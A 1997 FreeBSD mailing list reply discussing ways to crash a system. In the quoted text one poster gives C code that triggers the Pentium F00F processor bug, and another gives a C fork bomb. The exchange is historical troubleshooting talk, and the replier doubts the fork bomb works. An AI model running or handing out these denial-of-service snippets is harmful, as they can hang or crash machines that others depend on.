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From: Thomas David Rivers <rivers@dignus.com>
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To: freebsd-questions@freebsd.org, sporkl@dti.net
Subject: Re: Crashing FreeBSD
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> 
> Well, there are other ways too. 
> 	
> 	1. Toggle power really fast
> 	2. write a "forkbomb":
> #include <stdio.h>
> 
> main() {
> 
>   for(;;) {fork();}
> }
> 
> 	I am sure there are other ways.

 I'm pretty sure a 'forkbomb' will not crash FreeBSD.  Did you
try it :-)

	- Dave Rivers -

> 
> 
> 
> 
>  -Spike Gronim
>   sporkl@dti.net
> 
> 	"Tradition is the chastity belt of the mind" 
> 
> 
> 
> On Sun, 9 Nov 1997, Michael Richards wrote:
> 
> > Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> > this is a bug in the pentium processor. Compile and run, it will crash the
> > machine right away...
> > 
> > Very simple:
> > 
> > 
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> > 
> > main () {
> >     void (*f)() = x;
> >     f();
> > }
> > 
> > 
> 
>